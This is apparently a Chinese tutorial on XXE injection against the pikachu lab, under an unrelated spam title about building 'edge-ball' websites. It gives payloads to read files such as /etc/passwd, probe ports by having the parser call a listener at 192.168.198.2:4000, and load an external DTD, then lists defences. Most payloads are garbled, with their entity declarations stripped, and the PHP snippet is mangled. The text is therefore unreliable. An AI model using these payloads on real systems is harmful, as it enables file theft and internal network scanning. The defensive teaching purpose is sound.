擦边球网站怎么建设网站建设经费的函
文章目录
- 一、漏洞原理
 - 二、验证payload
 - 三、没有回显时的验证
 - 四、漏洞特征
 - 五、读取文件
 - 六、Base64加密读取
 - 七、端口检测
 - 八、使用php检测端口
 - 九、dtd外部实体读取文件
 - 十、Xxe漏洞防御
 
一、漏洞原理
(1)XXE漏洞全称XML External Entity Injection,即xmI外部实体注入漏洞, XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害,XML(也是一种语言)被设计用来传输和存储数据
 (2)也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致漏洞
 实验环境:windows pikachu xxe漏洞
二、验证payload
<?xml version = "1.0"?>]>
 &hacker;
 
三、没有回显时的验证
<?xml version = "1.0"?>]>
 &xxe;
 
四、漏洞特征
Accept里有application/xml的格式
 
五、读取文件
<?xml version = "1.0"?> ]> &f;
六、Base64加密读取
<?xml version = "1.0"?> ]> &f;
 
或则读取linux的/etc/passwd
<?xml version = "1.0"?> ]> &f;七、端口检测
ncat -lvp 4000(端口可自定义)
 使用以下语句尝试是否能够建立连接
<!ENTITY xxe SYSTEM "http://192.168.198.2:4000/">  
]>&xxe;
 如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。
 
八、使用php检测端口
<?php $xml=<<]>
 &xxe;
 EOF;
  d a t a = s i m p l e x m l l o a d s t r i n g ( data=simplexml_load_string( data=simplexmlloadstring(xml);
 print_r($data);
 ?>
 端口关闭的情况如下
 
开启时
 
九、dtd外部实体读取文件
<?xml version="1.0"?><!DOCTYPE note[<!ENTITY % d SYSTEM "http://127.0.0.1/note.dtd">%d;]>
 &eviltest;

十、Xxe漏洞防御
1、使用开发语言提供的禁用外部实体的方法
 1.PHP:
 libxml_disable_entity_loader(true);
 2.JAVA:
 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
 dbf.setExpandEntityReferences(false);
 3.Python:
 from lxml import etree
 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
